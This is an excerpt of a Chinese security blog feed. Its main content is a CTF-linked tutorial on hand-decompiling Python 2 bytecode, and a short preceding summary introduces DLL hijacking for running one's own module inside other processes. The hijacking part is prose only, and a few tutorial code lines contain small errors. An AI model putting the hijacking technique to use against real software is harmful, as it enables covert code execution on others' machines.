<p>欢迎关注公众号：<strong>汉客儿</strong>或加入QQ交流群：<strong>753894145</strong></p> ]]></content>          <summary type="html">            &lt;p&gt;QQ交流群：&lt;a href=&quot;https://jq.qq.com/?_wv=1027&amp;amp;k=5ww6tlB&quot;&gt;753894145&lt;/a&gt;&lt;/p&gt; &lt;p&gt;欢迎关注技术公众号：&lt;strong&gt;&lt;span style=&quot;color:red&quot;&gt;汉客儿&lt;/span&gt;&lt;/strong&gt;&lt;br&gt;&lt;img src=&quot;/img/wx.png&quot; alt=&quot;img&quot;&gt;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;通用DLL劫持技术研究&lt;br/&gt;&lt;br&gt;by anhkgg&lt;br/&gt;&lt;br&gt;2018年11月29日&lt;br/&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;写在前面&quot;&gt;&lt;a href=&quot;#写在前面&quot; class=&quot;headerlink&quot; title=&quot;写在前面&quot;&gt;&lt;/a&gt;写在前面&lt;/h2&gt;&lt;p&gt;Dll劫持相信大家都不陌生，理论就不多说了。Dll劫持的目的一般都是为了自己的dll模块能够在别人进程中运行，然后做些不可描述的事情。&lt;/p&gt; &lt;p&gt;为了让别人的程序能够正常运行，通常都需要在自己的dll中导出和劫持的目标dll相同的函数接口，然后在自己的接口函数中调用原始dll的函数，如此使得原始dll的功能能够正常被使用。导出接口可以自己手工写，也可以通过工具自动生成，比如著名的&lt;code&gt;Aheadlib&lt;/code&gt;。这种方法的缺点就是针对不同的dll需要导出不同的接口，虽然有工具帮助，但也有限制，比如不支持x64。&lt;/p&gt;          </summary>            <category term="security" scheme="https://anhkgg.github.io/categories/security/"/>                 <category term="dllhijack" scheme="https://anhkgg.github.io/tags/dllhijack/"/>            <category term="windows" scheme="https://anhkgg.github.io/tags/windows/"/>        </entry>      <entry>     <title>死磕python字节码-手工还原python源码（网鼎杯第四场逆向题chaoyang）</title>     <link href="https://anhkgg.github.io/python-bytecode/"/>     <id>https://anhkgg.github.io/python-bytecode/</id>     <published>2018-09-04T15:21:29.000Z</published>     <updated>2018-09-04T15:29:08.761Z</updated>          <content type="html"><![CDATA[<h2 id="0x1-前言"><a href="#0x1-前言" class="headerlink" title="0x1.前言"></a>0x1.前言</h2><blockquote> <p>Python 代码先被编译为字节码后，再由Python虚拟机来执行字节码， Python的字节码是一种类似汇编指令的中间语言， 一个Python语句会对应若干字节码指令，虚拟机一条一条执行字节码指令， 从而完成程序执行。<br>Python dis 模块支持对Python代码进行反汇编， 生成字节码指令。</p> </blockquote> <a id="more"></a> <p><code>dis.dis()</code>将CPython字节码转为可读的伪代码(类似于汇编代码)。结构如下：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">7           0 LOAD_CONST               1 (0)</span><br><span class="line">            3 STORE_FAST               1 (local1)</span><br><span class="line"></span><br><span class="line">8           6 LOAD_CONST               2 (101)</span><br><span class="line">            9 STORE_GLOBAL             0 (global1)</span><br><span class="line"></span><br><span class="line">9          12 LOAD_FAST                1 (local1)</span><br><span class="line">           15 PRINT_ITEM</span><br><span class="line">           16 LOAD_FAST                0 (arg1)</span><br><span class="line">           19 PRINT_ITEM</span><br><span class="line">           20 LOAD_GLOBAL              0 (global1)</span><br><span class="line">           23 PRINT_ITEM</span><br><span class="line">           24 PRINT_NEWLINE</span><br><span class="line">           25 LOAD_CONST               0 (None)</span><br><span class="line">           28 RETURN_VALUE</span><br></pre></td></tr></table></figure> <p>其实就是这样的结构：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">源码行号 | 指令在函数中的偏移 | 指令符号 | 指令参数 | 实际参数值</span><br></pre></td></tr></table></figure> <h2 id="0x2-变量"><a href="#0x2-变量" class="headerlink" title="0x2.变量"></a>0x2.变量</h2><h3 id="1-const"><a href="#1-const" class="headerlink" title="1.const"></a>1.const</h3><p><code>LOAD_CONST</code>加载<code>const</code>变量，比如数值、字符串等等，一般用于传给函数的参数</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">55       12 LOAD_GLOBAL              1 (test)</span><br><span class="line">         15 LOAD_FAST                0 (2) #读取2</span><br><span class="line">         18 LOAD_CONST               1 (&#39;output&#39;) </span><br><span class="line">         21 CALL_FUNCTION            2</span><br></pre></td></tr></table></figure> <p>转为python代码就是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">test(2, &#39;output&#39;)</span><br></pre></td></tr></table></figure> <h3 id="2-局部变量"><a href="#2-局部变量" class="headerlink" title="2.局部变量"></a>2.局部变量</h3><p><code>LOAD_FAST</code>一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等。<br><code>STORE_FAST</code>一般用于保存值到局部变量。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">61          77 LOAD_FAST                0 (n)</span><br><span class="line">             80 LOAD_FAST                3 (p)</span><br><span class="line">             83 INPLACE_DIVIDE</span><br><span class="line">             84 STORE_FAST               0 (n)</span><br></pre></td></tr></table></figure> <p>这段bytecode转为python就是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">n &#x3D; n &#x2F; p</span><br></pre></td></tr></table></figure> <p>函数的形参也是局部变量，如何区分出是函数形参还是其他局部变量呢？</p> <p>形参没有初始化，也就是从函数开始到<code>LOAD_FAST</code>该变量的位置，如果没有看到<code>STORE_FAST</code>，那么该变量就是函数形参。</p> <p>而其他局部变量在使用之前肯定会使用<code>STORE_FAST</code>进行初始化。</p> <p>具体看下面的实例：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">4           0 LOAD_CONST               1 (0)</span><br><span class="line">            3 STORE_FAST               1 (local1)</span><br><span class="line"></span><br><span class="line">5           6 LOAD_FAST                1 (local1)</span><br><span class="line">            9 PRINT_ITEM</span><br><span class="line">           10 LOAD_FAST                0 (arg1)</span><br><span class="line">           13 PRINT_ITEM</span><br><span class="line">           14 PRINT_NEWLINE</span><br><span class="line">           15 LOAD_CONST               0 (None)</span><br><span class="line">           18 RETURN_VALUE</span><br></pre></td></tr></table></figure> <p>对应的python代码如下，对比一下就一目了然。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">def test(arg1):</span><br><span class="line">    local1 &#x3D; 0</span><br><span class="line">    print local1, arg1 </span><br></pre></td></tr></table></figure> <h3 id="3-全局变量"><a href="#3-全局变量" class="headerlink" title="3.全局变量"></a>3.全局变量</h3><p><code>LOAD_GLOBAL</code>用来加载全局变量，包括指定函数名，类名，模块名等全局符号。</p> <p><code>STORE_GLOBAL</code>用来给全局变量赋值。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">8           6 LOAD_CONST               2 (101)</span><br><span class="line">            9 STORE_GLOBAL             0 (global1)</span><br><span class="line">            20 LOAD_GLOBAL              0 (global1)</span><br><span class="line">            23 PRINT_ITEM</span><br></pre></td></tr></table></figure> <p>对应的python代码</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def test():</span><br><span class="line">    global global1</span><br><span class="line">    global1 &#x3D; 101</span><br><span class="line">    print global</span><br></pre></td></tr></table></figure> <h2 id="0x3-常用数据类型"><a href="#0x3-常用数据类型" class="headerlink" title="0x3.常用数据类型"></a>0x3.常用数据类型</h2><h3 id="1-list"><a href="#1-list" class="headerlink" title="1.list"></a>1.list</h3><p><code>BUILD_LIST</code>用于创建一个list结构。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">13           0 LOAD_CONST               1 (1)</span><br><span class="line">             3 LOAD_CONST               2 (2)</span><br><span class="line">             6 BUILD_LIST               2</span><br><span class="line">             9 STORE_FAST               0 (k)</span><br></pre></td></tr></table></figure> <p>对应python代码是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">k &#x3D; [1, 2]</span><br></pre></td></tr></table></figure> <p>另外再看看一种常见的创建list的方式如下：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[x for x in xlist if x!&#x3D;0 ]</span><br></pre></td></tr></table></figure> <p>一个实例bytecode如下：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">22         235 BUILD_LIST               0 &#x2F;&#x2F;创建list，为赋值给某变量，这种时候一般都是语法糖结构了</span><br><span class="line">           238 LOAD_FAST                3 (sieve)</span><br><span class="line">           241 GET_ITER</span><br><span class="line">       &gt;&gt;  242 FOR_ITER                24 (to 269)</span><br><span class="line">           245 STORE_FAST               4 (x)</span><br><span class="line">           248 LOAD_FAST                4 (x)</span><br><span class="line">           251 LOAD_CONST               2 (0)</span><br><span class="line">           254 COMPARE_OP               3 (!&#x3D;)</span><br><span class="line">           257 POP_JUMP_IF_FALSE      242 &#x2F;&#x2F;不满足条件contine</span><br><span class="line">           260 LOAD_FAST                4 (x)&#x2F;&#x2F;读取满足条件的x</span><br><span class="line">           263 LIST_APPEND              2 &#x2F;&#x2F;把每个满足条件的x存入list</span><br><span class="line">           266 JUMP_ABSOLUTE          242</span><br><span class="line">       &gt;&gt;  269 RETURN_VALUE</span><br></pre></td></tr></table></figure> <p>转为python代码是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[for x in sieve if x !&#x3D; 0]</span><br></pre></td></tr></table></figure> <h3 id="2-dict"><a href="#2-dict" class="headerlink" title="2.dict"></a>2.dict</h3><p><code>BUILD_MAP</code>用于创建一个空的dict。<code>STORE_MAP</code>用于初始化dict的内容。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">13           0 BUILD_MAP                1</span><br><span class="line">             3 LOAD_CONST               1 (1)</span><br><span class="line">             6 LOAD_CONST               2 (&#39;a&#39;)</span><br><span class="line">             9 STORE_MAP</span><br><span class="line">            10 STORE_FAST               0 (k)</span><br></pre></td></tr></table></figure> <p>对应的python代码是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">k &#x3D; &#123;&#39;a&#39;: 1&#125;</span><br></pre></td></tr></table></figure> <p>再看看修改dict的bytecode：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">14          13 LOAD_CONST               3 (2)</span><br><span class="line">             16 LOAD_FAST                0 (k)</span><br><span class="line">             19 LOAD_CONST               4 (&#39;b&#39;)</span><br><span class="line">             22 STORE_SUBSCR</span><br></pre></td></tr></table></figure> <p>对应的python代码是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">k[&#39;b&#39;] &#x3D; 2</span><br></pre></td></tr></table></figure> <h3 id="3-slice"><a href="#3-slice" class="headerlink" title="3.slice"></a>3.slice</h3><p><code>BUILD_SLICE</code>用于创建slice。对于list、元组、字符串都可以使用slice的方式进行访问。</p> <p>但是要注意<code>BUILD_SLICE</code>用于[x:y:z]这种类型的slice，结合<code>BINARY_SUBSCR</code>读取slice的值，结合<code>STORE_SUBSCR</code>用于修改slice的值。</p> <p>另外<code>SLICE+n</code>用于[a:b]类型的访问，<code>STORE_SLICE+n</code>用于[a:b]类型的修改，其中<code>n</code>表示如下：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">SLICE+0()</span><br><span class="line">Implements TOS &#x3D; TOS[:].</span><br><span class="line"></span><br><span class="line">SLICE+1()</span><br><span class="line">Implements TOS &#x3D; TOS1[TOS:].</span><br><span class="line"></span><br><span class="line">SLICE+2()</span><br><span class="line">Implements TOS &#x3D; TOS1[:TOS].</span><br><span class="line"></span><br><span class="line">SLICE+3()</span><br><span class="line">Implements TOS &#x3D; TOS2[TOS1:TOS].</span><br></pre></td></tr></table></figure> <p>下面看具体实例：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">13           0 LOAD_CONST               1 (1)</span><br><span class="line">              3 LOAD_CONST               2 (2)</span><br><span class="line">              6 LOAD_CONST               3 (3)</span><br><span class="line">              9 BUILD_LIST               3</span><br><span class="line">             12 STORE_FAST               0 (k1) &#x2F;&#x2F;k1 &#x3D; [1, 2, 3]</span><br><span class="line"></span><br><span class="line"> 14          15 LOAD_CONST               4 (10)</span><br><span class="line">             18 BUILD_LIST               1</span><br><span class="line">             21 LOAD_FAST                0 (k1)</span><br><span class="line">             24 LOAD_CONST               5 (0)</span><br><span class="line">             27 LOAD_CONST               1 (1)</span><br><span class="line">             30 LOAD_CONST               1 (1)</span><br><span class="line">             33 BUILD_SLICE              3</span><br><span class="line">             36 STORE_SUBSCR                    &#x2F;&#x2F;k1[0:1:1] &#x3D; [10]</span><br><span class="line"></span><br><span class="line"> 15          37 LOAD_CONST               6 (11)</span><br><span class="line">             40 BUILD_LIST               1</span><br><span class="line">             43 LOAD_FAST                0 (k1)</span><br><span class="line">             46 LOAD_CONST               1 (1)</span><br><span class="line">             49 LOAD_CONST               2 (2)</span><br><span class="line">             52 STORE_SLICE+3                   &#x2F;&#x2F;k1[1:2] &#x3D; [11]</span><br><span class="line"></span><br><span class="line"> 16          53 LOAD_FAST                0 (k1)</span><br><span class="line">             56 LOAD_CONST               1 (1)</span><br><span class="line">             59 LOAD_CONST               2 (2)</span><br><span class="line">             62 SLICE+3</span><br><span class="line">             63 STORE_FAST               1 (a)  &#x2F;&#x2F;a &#x3D; k1[1:2]</span><br><span class="line"></span><br><span class="line"> 17          66 LOAD_FAST                0 (k1)</span><br><span class="line">             69 LOAD_CONST               5 (0)</span><br><span class="line">             72 LOAD_CONST               1 (1)</span><br><span class="line">             75 LOAD_CONST               1 (1)</span><br><span class="line">             78 BUILD_SLICE              3</span><br><span class="line">             81 BINARY_SUBSCR</span><br><span class="line">             82 STORE_FAST               2 (b) &#x2F;&#x2F;b &#x3D; k1[0:1:1]</span><br></pre></td></tr></table></figure> <h2 id="0x4-循环"><a href="#0x4-循环" class="headerlink" title="0x4.循环"></a>0x4.循环</h2><p><code>SETUP_LOOP</code>用于开始一个循环。<code>SETUP_LOOP              26 (to 35)</code>中<code>35</code>表示循环退出点。</p> <h3 id="while循环"><a href="#while循环" class="headerlink" title="while循环"></a>while循环</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">23           0 LOAD_CONST               1 (0)</span><br><span class="line">             3 STORE_FAST               0 (i) &#x2F;&#x2F; i&#x3D;0</span><br><span class="line"></span><br><span class="line">24           6 SETUP_LOOP              26 (to 35)</span><br><span class="line">       &gt;&gt;    9 LOAD_FAST                0 (i) &#x2F;&#x2F;循环起点</span><br><span class="line">            12 LOAD_CONST               2 (10)</span><br><span class="line">            15 COMPARE_OP               0 (&lt;)</span><br><span class="line">            18 POP_JUMP_IF_FALSE       34     &#x2F;&#x2F;while i &lt; 10:</span><br><span class="line"></span><br><span class="line">25          21 LOAD_FAST                0 (i)</span><br><span class="line">            24 LOAD_CONST               3 (1)</span><br><span class="line">            27 INPLACE_ADD                     </span><br><span class="line">            28 STORE_FAST               0 (i) &#x2F;&#x2F; i +&#x3D; 1</span><br><span class="line">            31 JUMP_ABSOLUTE            9    &#x2F;&#x2F; 回到循环起点</span><br><span class="line">       &gt;&gt;   34 POP_BLOCK</span><br><span class="line">       &gt;&gt;   35 LOAD_CONST               0 (None)</span><br></pre></td></tr></table></figure> <p>对应python代码是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">i &#x3D; 0</span><br><span class="line">    while i &lt; 10:</span><br><span class="line">        i +&#x3D; 1 </span><br></pre></td></tr></table></figure> <h3 id="for-in结构"><a href="#for-in结构" class="headerlink" title="for in结构"></a>for in结构</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">    238 LOAD_FAST                3 (sieve)#sieve是个list</span><br><span class="line">    241 GET_ITER                    &#x2F;&#x2F;开始迭代sieve</span><br><span class="line">&gt;&gt;  242 FOR_ITER                24 (to 269) &#x2F;&#x2F;继续iter下一个x</span><br><span class="line">    245 STORE_FAST               4 (x)</span><br><span class="line">    ...</span><br><span class="line">    266 JUMP_ABSOLUTE          242 &#x2F;&#x2F;循环</span><br></pre></td></tr></table></figure> <p>这是典型的for+in结构，转为python代码就是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">for x in sieve:</span><br></pre></td></tr></table></figure> <h2 id="0x5-if"><a href="#0x5-if" class="headerlink" title="0x5.if"></a>0x5.if</h2><p><code>POP_JUMP_IF_FALSE</code>和<code>JUMP_FORWARD</code>一般用于分支判断跳转。<code>POP_JUMP_IF_FALSE</code>表示条件结果为<code>FALSE</code>就跳转到目标偏移指令。<code>JUMP_FORWARD</code>直接跳转到目标偏移指令。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">23           0 LOAD_CONST               1 (0)</span><br><span class="line">             3 STORE_FAST               0 (i) &#x2F;&#x2F;i&#x3D;0</span><br><span class="line">24           6 LOAD_FAST                0 (i)</span><br><span class="line">             9 LOAD_CONST               2 (5)</span><br><span class="line">            12 COMPARE_OP               0 (&lt;)</span><br><span class="line">            15 POP_JUMP_IF_FALSE       26</span><br><span class="line"></span><br><span class="line">25          18 LOAD_CONST               3 (&#39;i &lt; 5&#39;)</span><br><span class="line">            21 PRINT_ITEM</span><br><span class="line">            22 PRINT_NEWLINE</span><br><span class="line">            23 JUMP_FORWARD            25 (to 51)</span><br><span class="line"></span><br><span class="line">26     &gt;&gt;   26 LOAD_FAST                0 (i)</span><br><span class="line">            29 LOAD_CONST               2 (5)</span><br><span class="line">            32 COMPARE_OP               4 (&gt;)</span><br><span class="line">            35 POP_JUMP_IF_FALSE       46</span><br><span class="line"></span><br><span class="line">27          38 LOAD_CONST               4 (&#39;i &gt; 5&#39;)</span><br><span class="line">            41 PRINT_ITEM</span><br><span class="line">            42 PRINT_NEWLINE</span><br><span class="line">            43 JUMP_FORWARD             5 (to 51)</span><br><span class="line"></span><br><span class="line">29     &gt;&gt;   46 LOAD_CONST               5 (&#39;i &#x3D; 5&#39;)</span><br><span class="line">            49 PRINT_ITEM</span><br><span class="line">            50 PRINT_NEWLINE</span><br><span class="line">       &gt;&gt;   51 LOAD_CONST               0 (None)</span><br></pre></td></tr></table></figure> <p>转为python代码是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">i &#x3D; 0</span><br><span class="line">if i &lt; 5:</span><br><span class="line">    print &#39;i &lt; 5&#39;</span><br><span class="line">elif i &gt; 5:</span><br><span class="line">    print &#39;i &gt; 5&#39;</span><br><span class="line">else:</span><br><span class="line">    print &#39;i &#x3D; 5&#39;</span><br></pre></td></tr></table></figure> <h2 id="0x6-分辨函数"><a href="#0x6-分辨函数" class="headerlink" title="0x6.分辨函数"></a>0x6.分辨函数</h2><h3 id="1-函数范围"><a href="#1-函数范围" class="headerlink" title="1.函数范围"></a>1.函数范围</h3><p>前面介绍第二列表示指令在函数中的偏移地址，所以看到0就是函数开始，下一个0前一条指令就是函数结束位置，当然也可以通过<code>RETURN_VALUE</code>来确定函数结尾</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">54         0 LOAD_FAST                1 (plist) &#x2F;&#x2F;函数开始</span><br><span class="line">           3 LOAD_CONST               0 (None)</span><br><span class="line">           6 COMPARE_OP               2 (&#x3D;&#x3D;)</span><br><span class="line">           9 POP_JUMP_IF_FALSE        33</span><br><span class="line"></span><br><span class="line">55         ...</span><br><span class="line"></span><br><span class="line">67     &gt;&gt;  139 LOAD_FAST              2 (fs)</span><br><span class="line">           142 RETURN_VALUE</span><br><span class="line">70         0 LOAD_CONST               1 (&#39;FLAG&#39;) &#x2F;&#x2F;另一个函数开始</span><br><span class="line">           3 STORE_FAST               0 (flag)            </span><br></pre></td></tr></table></figure> <h3 id="2-函数调用"><a href="#2-函数调用" class="headerlink" title="2.函数调用"></a>2.函数调用</h3><p>函数调用类似于<code>push+call</code>的汇编结构，压栈参数从左到右依次压入（当然不是<code>push</code>，而是读取指令<code>LOAD_xxxx</code>来指定参数）。</p> <p>函数名一般通过<code>LOAD_GLOBAL</code>指令指定，如果是模块函数或者类成员函数通过<code>LOAD_GLOBAL</code>+<code>LOAD_ATTR</code>来指定。</p> <p>先指定要调用的函数，然后压参数，最后通过<code>CALL_FUNCTION</code>调用。</p> <p><code>CALL_FUNCTION</code>后面的值表示有几个参数。</p> <p>支持嵌套调用：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">6           0 LOAD_GLOBAL              0 (int) &#x2F;&#x2F;int函数</span><br><span class="line">              3 LOAD_GLOBAL              1 (math)&#x2F;&#x2F;math模块</span><br><span class="line">              6 LOAD_ATTR                2 (sqrt)&#x2F;&#x2F;sqrt函数</span><br><span class="line">              9 LOAD_FAST                0 (n) &#x2F;&#x2F;参数</span><br><span class="line">             12 CALL_FUNCTION            1</span><br><span class="line">             15 CALL_FUNCTION            1</span><br><span class="line">             18 STORE_FAST               2 (nroot)</span><br></pre></td></tr></table></figure> <p>这段<code>bytecode</code>转换成<code>python</code>代码就是</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nroot &#x3D; int(math.sqrt(n)) &#x2F;&#x2F;其中n是一个局部变量或者函数参数，具体看上下文</span><br></pre></td></tr></table></figure> <h2 id="0x7-其他指令"><a href="#0x7-其他指令" class="headerlink" title="0x7.其他指令"></a>0x7.其他指令</h2><p>其他常见指令，一看就明白，就不具体分析了，更多详细内容请看<a href="https://docs.python.org/2/library/dis.html">官方文档</a>。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">INPLACE_POWER()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 ** TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_MULTIPLY()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 * TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_DIVIDE()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 &#x2F; TOS when from __future__ import division is not in effect.</span><br><span class="line"></span><br><span class="line">INPLACE_FLOOR_DIVIDE()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 &#x2F;&#x2F; TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_TRUE_DIVIDE()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 &#x2F; TOS when from __future__ import division is in effect.</span><br><span class="line"></span><br><span class="line">INPLACE_MODULO()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 % TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_ADD()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 + TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_SUBTRACT()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 - TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_LSHIFT()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 &lt;&lt; TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_RSHIFT()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 &gt;&gt; TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_AND()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 &amp; TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_XOR()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 ^ TOS.</span><br><span class="line"></span><br><span class="line">INPLACE_OR()</span><br><span class="line">Implements in-place TOS &#x3D; TOS1 | TOS.</span><br></pre></td></tr></table></figure> <p>基础运算还有一套对应的<code>BINARY_xxxx</code>指令，两者区别很简单。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">i +&#x3D; 1 &#x2F;&#x2F;使用INPLACE_xxx</span><br><span class="line">i &#x3D; i + 1 &#x2F;&#x2F;使用BINARY_xxxx</span><br></pre></td></tr></table></figure> <h2 id="参考资料"><a href="#参考资料" class="headerlink" 